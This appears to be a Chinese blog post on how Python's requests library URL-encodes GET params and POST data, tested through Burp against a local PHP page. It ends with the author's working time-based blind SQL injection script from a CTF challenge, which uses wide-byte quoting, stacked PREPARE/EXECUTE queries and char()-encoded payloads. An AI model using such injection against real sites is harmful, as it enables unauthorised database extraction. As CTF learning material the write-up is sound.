requets中urlencode的问题
前言
今天团队群里有师傅问requests怎么设置不解码,这里是语误,其实师傅想说的是,如果设置不编码。

一开始我没懂,然后师傅们解答了这个问题后,我想了会儿懂了。
在一些CTF题目中,可能会碰到这样的问题,于是记录下(已经碰到了,自己当时还没发现)
如下有几篇相关的文章
https://www.jianshu.com/p/54e8f0c5955b
https://blog.csdn.net/u012973744/article/details/27187253?utm_source=blogxgwz4
GET
urlencode方式
requests中传递参数的方式是通过params字典的方式。
自动urlencode的=>看下面的例子
test.py
import requests
url='http://127.0.0.1/tssss.php'
data={"b":"ccc%27"}
proxies={"http":"192.168.0.113:8080"}
request=requests.get(url,params=data,proxies=proxies)
print(request.text)
tssss.php
<?php
var_dump($_POST);
var_dump($_GET);
这里我通过burp作为代理,拦截http包,查看完整的headers分析(Tips:php中的$_GET['x']获取参数的形式会自动urldecode一次)
burp:

response:

这里我们是用dict的格式发送params关键词参数的
结论:requests.get会对params参数的值进行urlencode
No urlencode方式
上述文章链接中也说了,在直接构造拼接url的时候,是不会自动urlencode的。
test.py
import requests
url='http://127.0.0.1/tssss.php'
data="?a=cc%27a"
proxies={"http":"192.168.0.113:8080"}
request=requests.get(url+data,proxies=proxies)
print(request.text)
brup:

response:

requests.get方式的总结:
- 使用params关键字参数时会自动对参数进行urlencode,然后服务器端解码一次。就不需要自发的进行多余的一层urlencode嵌套
- 使用url拼接时,注意&符号,如果需要传递&字符的话,需要进行url编码,否则会被看作是参数之前的分隔符。
post
post跟get同理,稍有区别
urlencode方式
这里是跟get一样的,以dict形式使用data关键词参数的话,同样会urlencode一次。
import requests
url='http://127.0.0.1/tssss.php'
data={"b":"ccc%27@"}
proxies={"http":"192.168.0.113:8080"}
request=requests.post(url,data=data,proxies=proxies)
print(request.text)
burp:

response:

结论:requests.post会对data参数内的值进行urlencode,类似表单的提交方式,以application/x-www-form-urlencoded的MIME方式。
这里顺带提一句

No urlencode
查看文档可以发现
There are many times that you want to send data that is not form-encoded. If you pass in a string instead of a dict, that data will be posted directly.
可以用直接以字符串的形式发送
data='xxxxx'
import requests
url='http://127.0.0.1/tssss.php'
data="b=ccc%27%0a@"
proxies={"http":"192.168.0.113:8080"}
request=requests.post(url,data=data,proxies=proxies)
print(request.text)
burp:

response:

可以看到无法识别data中的参数,这里可以 通过增加一个header头
headers = {"Content-Type": "application/x-www-form-urlencoded"}
使服务端识别是post参数
import requests
url='http://127.0.0.1/tssss.php'
data="b=ccc%27%0a@"
proxies={"http":"192.168.0.113:8080"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
request=requests.post(url,data=data,headers=headers,proxies=proxies)
print(request.text)
burp:

response:

可以看到没有自发的urlencode,服务端解码一次后,%0a换行命令也可以正确的执行。
requests.post方式的总结:
- 以dict形式使用data关键词参数会使其自动urlencode,输入没有urlencode的字符即可
- 如果不需要自发的urlencode,增加header头,并且data用字符串的形式,,注意分隔符&,如果作为输入的字符,需要手动编码一遍。
踩过的坑
在i春秋新春战役中的easysqli_copy中吃过亏
https://www.cnblogs.com/BOHB-yunying/p/12342370.html#fJS7ZKWT
正确的脚本:
import requests
import time
url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;"
flag=''
exp0="select fllllll4g from table1"
payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;"
for i in range(1,20):
print("前{0}位".format(i))
for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
res=''
exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j))
for z in exp:
res += "char(%s),"%(ord(z))
my_payload = payload.format(res[:-1])
print('i:'+str(i),'j:'+str(j))
urll=url+my_payload
startTime=time.time()
response=requests.get(url=urll)
if time.time() - startTime >=2.5:
flag+=j
print('flag_name:%s'%(flag))
break
print(flag)
正确的脚本使用了url拼接的get请求方式,这样不通过params的方式,不会自动urlencode,因为可以看到我这里的id=1%df%27 这里我经过了urlencode,因为是浏览器直接复制过来的。
第一次我错误的地方就在id=1%df%27这里,我将其拼接格式化字符串到params中,这样会自动urlencode一次,后端收到的初始形态是这样的
1%25df%2527
呢么在经过GET中的自动urldecode后,获得的还是1%df%27,并没有完成解码。所以才会出错
requets中urlencode的问题的更多相关文章
- 阿里签名中URLEncode于C#URLEncod不同之处
问题 如上图所示,阿里云的PercentEncode 转换! 为 %21 PercentEncode 源码为: package com.aliyuncs.auth; import java.io.Un ...
- php中urlencode与rawurlencode的区别有那些呢
urlencode 函数: 返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+).此编码与 WWW 表单 POST 数据的编码 ...
- php中urlencode使用
URLEncode的方式一般有两种,一种是传统的基于GB2312的Encode(Baidu.Yisou等使用),另一种是基于UTF-8的Encode(Google.Yahoo等使用). 本工具分别实现 ...
- Python2和Python3中urllib库中urlencode的使用注意事项
前言 在Python中,我们通常使用urllib中的urlencode方法将字典编码,用于提交数据给url等操作,但是在Python2和Python3中urllib模块中所提供的urlencode的包 ...
- php中urlencode与rawurlencode的区别
前段时间说自己遇到了个<URL加号引发错误>的BUG,引起这个bug的原因就是自己在URL中使用了 urlencode 函数,该函数会把空格转换成加号,这样就导致URL解析出错,而空格只有 ...
- php中urlencode和urldecode的用法
URLEncode:是指针对网页url中的中文字符的一种编码转化方式,最常见的就是Baidu.Google等搜索引擎中输入中文查询时候,生成经过Encode过的网页URL.URLEncode的方式一般 ...
- php中urlencode()和urldecode()URL编码函数浅析[转]
URLEncode:是指针对网页url中的中文字符的一种编码转化方式,最常见的就是Baidu.Google等搜索引擎中输入中文查询时候,生成经过Encode过的网页URL.URLEncode的方式一般 ...
- ASP.NET中UrlEncode应该用Uri.EscapeDataString()(转)
今天,茄子_2008反馈他博客中的“C++”标签失效.检查了一下代码,生成链接时用的是HttpUtility.UrlEncode(url),从链接地址获取标签时用的是HttpUtility.UrlDe ...
- ASP.NET中UrlEncode应该用Uri.EscapeDataString()
今天,茄子_2008反馈他博客中的“C++”标签失效.检查了一下代码,生成链接时用的是HttpUtility.UrlEncode(url),从链接地址获取标签时用的是HttpUtility.UrlDe ...
随机推荐
- 关于Anaconda安装以后使用Jupyter Notebook无法直接打开浏览器的解决方法
关于Anaconda安装以后使用Jupyter Notebook无法直接打开浏览器的解决方法 1.首先打开Anoconda Prompt,输入命令 jupyter notebook --generat ...
- 实例演示:如何简化生产中的Pod安全策略?
Pod安全策略对于强化K8S集群安全至关重要.本文将延续之前的文章继续深入介绍Pod安全策略. 首先,简单介绍了如何将Pod与Pod安全策略相关联,并使用RBAC来展示具体步骤.然后介绍如何在Ranc ...
- WordPress 迁移站点更换域名为新域名
使用 wp-cli 工具搜索替换域名的方式更换 WordPress 域名 wp-cli 是一个命令行工具,可以让我们通过命令行安装.更新 WordPress,对 WordPress 执行一些批量操作, ...
- 使用一行Python代码从图像读取文本
处理图像不是一项简单的任务.对你来说,作为一个人,很容易看着某样东西然后马上知道你在看什么.但电脑不是这样工作的. 对你来说太难的任务,比如复杂的算术,或者一般意义上的数学,是计算机毫不费力就能完成的 ...
- PHP7内核(七):常见变量类型的基本结构
上篇文章讲述了变量的存储结构zval,今天我们就来学习一下几个常见变量类型的基本结构. 一.类型一览 zval中的u1.v.type用来存储变量的类型,而zval.value存储的是不同类型对应的值, ...
- Mayor's posters POJ - 2528 线段树(离散化处理大数?)
题意:输入t组数据,输入n代表有n块广告牌,按照顺序贴上去,输入左边和右边到达的地方,问贴完以后还有多少块广告牌可以看到(因为有的被完全覆盖了). 思路:很明显就是线段树更改区间,不过这个区间的跨度有 ...
- 【原创】linux spinlock/rwlock/seqlock原理剖析(基于ARM64)
背景 Read the fucking source code! --By 鲁迅 A picture is worth a thousand words. --By 高尔基 说明: Kernel版本: ...
- 树莓派 zeroWH 使用笔记
更新raspbian apt-get update apt-get upgrade 删除python2 sudo rm /usr/bin/python安装python3 sud ...
- MATLAB——m_map指南(1)
1.例图 (1) clear all m_proj('oblique mercator');%确定投影方式和绘图界线 m_coast;%画出海岸线 m_grid;%添加格网 第一行代码初始化投影,对于 ...
- Unity引擎入门——制作第一个2D游戏(2)角色移动与动画
在上一节的内容里,我们已经创建出了一个主角,也搭建了一个简单的场景. 传送门:https://www.cnblogs.com/zny0222/p/12653088.html 既然有了主角,要怎样才能让 ...